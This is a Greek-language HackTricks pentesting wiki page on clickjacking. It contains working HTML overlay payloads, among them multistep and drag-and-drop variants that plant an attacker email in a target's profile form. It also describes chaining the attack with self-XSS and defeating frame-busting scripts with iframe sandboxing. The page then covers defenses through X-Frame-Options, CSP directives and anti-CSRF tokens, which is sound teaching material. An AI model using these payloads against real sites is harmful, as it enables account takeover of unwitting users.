hacktricks/pentesting-web/clickjacking.md

225 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Clickjacking
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Τι είναι το Clickjacking
Σε μια επίθεση clickjacking, ένας **χρήστης** εξαπατιέται να **κάνει κλικ** σε ένα **στοιχείο** σε μια ιστοσελίδα που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η διαστρέβλωση μπορεί να οδηγήσει σε μη επιθυμητές συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτικών ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή την online αγορά προϊόντων.
### Κόλπος προσυμπλήρωσης φορμών
Μερικές φορές είναι δυνατόν να **συμπληρωθεί η τιμή των πεδίων ενός φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν τη συμπεριφορά για να συμπληρώσει ένα φόρμα με αυθαίρετα δεδομένα και να στείλει το clickjacking payload ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
### Συμπλήρωση φόρμας με Drag\&Drop
Αν χρειάζεστε τον χρήστη να **συμπληρώσει ένα φόρμα** αλλά δεν θέλετε να του ζητήσετε απευθείας να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και/ή συγκεκριμένο κωδικό πρόσβασης που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **σύρει και απελευθερώσει** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Βασικό Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Πολυβήματος Φορτίο
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Σύρσιμο\&Ρίξιμο + Κλικ payload
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Εάν έχετε εντοπίσει μια επίθεση **XSS που απαιτεί από έναν χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη στο clickjacking**, μπορείτε να το εκμεταλλευτείτε για να εξαπατήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
Παράδειγμα:\
_Βρήκατε ένα **self XSS** σε ορισμένες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για την οριστικοποίηση αυτών των λεπτομερειών είναι **ευάλωτη** στο **Clickjacking** και μπορείτε να **προ-επιλέξετε** τη **φόρμα** με τις παραμέτρους GET._\
\_\_Ένας επιτιθέμενος θα μπορούσε να ετοιμάσει μια επίθεση **Clickjacking** σε αυτή τη σελίδα **προ-επιλέγοντας** τη **φόρμα** με το **XSS payload** και να εξαπατήσει τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβάλλεται** και οι τιμές τροποποιούνται, ο **χρήστης θα εκτελέσει το XSS**.
## Στρατηγικές για την Αντιμετώπιση του Clickjacking
### Άμυνες στην Πλευρά του Πελάτη
Τα scripts που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για την πρόληψη του Clickjacking:
* Βεβαιωθείτε ότι το παράθυρο της εφαρμογής είναι το κύριο ή το κορυφαίο παράθυρο.
* Κάνοντας όλα τα πλαίσια ορατά.
* Αποτρέποντας τα κλικ σε αόρατα πλαίσια.
* Ανίχνευση και ειδοποίηση των χρηστών για πιθανές προσπάθειες Clickjacking.
Ωστόσο, αυτά τα scripts που αποτρέπουν τα πλαίσια μπορεί να παρακαμφθούν:
* **Ρυθμίσεις Ασφαλείας των Περιηγητών:** Κάποιοι περιηγητές ενδέχεται να αποκλείσουν αυτά τα scripts με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
* **Χαρακτηριστικό `sandbox` του iframe του HTML5:** Ένας επιτιθέμενος μπορεί να ανενεργοποιήσει τα scripts που αποτρέπουν τα πλαίσια επιλέγοντας το χαρακτηριστικό `sandbox` με τις τιμές `allow-forms` ή `allow-scripts` χωρίς την τιμή `allow-top-navigation`. Αυτό εμποδίζει το iframe από το να επαληθεύσει αν είναι το κορυφαίο παράθυρο, π.χ.,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### Άμυνες στην Πλευρά του Διακομιστή
#### X-Frame-Options
Η **κεφαλίδα απόκρισης HTTP `X-Frame-Options`** ενημερώνει τους περιηγητές σχετικά με τη νομιμότητα απεικόνισης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
- `X-Frame-Options: deny` - Καμία τομή δεν μπορεί να πλαισιώσει το περιεχόμενο.
- `X-Frame-Options: sameorigin` - Μόνο ο τρέχων ιστότοπος μπορεί να πλαισιώσει το περιεχόμενο.
- `X-Frame-Options: allow-from https://trusted.com` - Μόνο η συγκεκριμένη 'uri' μπορεί να πλαισιώσει τη σελίδα.
- Σημειώστε τους περιορισμούς: αν ο περιηγητής δεν υποστηρίζει αυτήν την οδηγία, ενδέχεται να μη λειτουργήσει. Κάποιοι περιηγητές προτιμούν την οδηγία CSP frame-ancestors.
#### Οδηγίες frame-ancestors στην Πολιτική Ασφαλείας του Περιεχομένου (CSP)
Η **οδηγία `frame-ancestors` στην CSP** είναι η συνιστώμενη μέθοδος για την προστασία από το Clickjacking:
- `frame-ancestors 'none'` - Παρόμοιο με το `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Παρόμοιο με το `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Παρόμοιο με το `X-Frame-Options: allow-from`.
Για παράδειγμα, η ακόλουθη CSP επιτρέπει μόνο την πλαισίωση από τον ίδιο τομέα:
`Content-Security-Policy: frame-ancestors 'self';`
Περισσότερες λεπτομέρειες και πολύπλοκα παραδείγματα μπορούν να βρεθούν στην [τεκμηρίωση CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) και στην [τεκμηρίωση CSP frame-ancestors της Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Πολιτική Ασφαλείας του Περιεχομένου (CSP) με `child-src` και `frame-src`
Η **Πολιτική Ασφαλείας του Περιεχομένου (CSP)** είναι μια μέτρηση ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα, καθορίζοντας ποιες πηγές θα πρέπει να επιτρέπει ο περιηγητής να φορτώσει περιεχόμενο.
#### Οδηγία `frame-src`
- Ορίζει έγκυρες πηγές για frames.
- Πιο συγκεκριμένη από την οδηγία `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Αυτή η πολιτική επιτρέπει frames από την ίδια προέλευση (self) και https://trusted-website.com.
#### Οδηγία `child-src`
* Εισήχθη στο CSP επίπεδο 2 για να ορίσει έγκυρες πηγές για web workers και frames.
* Λειτουργεί ως εναλλακτική λύση για τις οδηγίες frame-src και worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Αυτή η πολιτική επιτρέπει frames και workers από την ίδια προέλευση (self) και από το https://trusted-website.com.
**Σημειώσεις Χρήσης:**
* Απόσυρση: Το child-src αποσύρεται υπέρ του frame-src και worker-src.
* Συμπεριφορά Εφεδρικής Λειτουργίας: Εάν το frame-src λείπει, το child-src χρησιμοποιείται ως εφεδρική λύση για τα frames. Εάν και τα δύο λείπουν, χρησιμοποιείται το default-src.
* Αυστηρός Ορισμός Πηγών: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
#### Σενάρια JavaScript Frame-Breaking
Παρόλο που δεν είναι εντελώς ασφαλή, τα scripts frame-busting βασισμένα σε JavaScript μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να εμφωλιαστεί. Παράδειγμα:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Χρήση Αντι-CSRF Διακριτικών
* **Επαλήθευση Διακριτικών:** Χρησιμοποιήστε αντι-CSRF διακριτικά σε web εφαρμογές για να εξασφαλίσετε ότι οι αιτήσεις που αλλάζουν την κατάσταση γίνονται εσκεμμένα από τον χρήστη και όχι μέσω μιας σελίδας που έχει υποστεί Clickjacking.
## Αναφορές
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφή**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>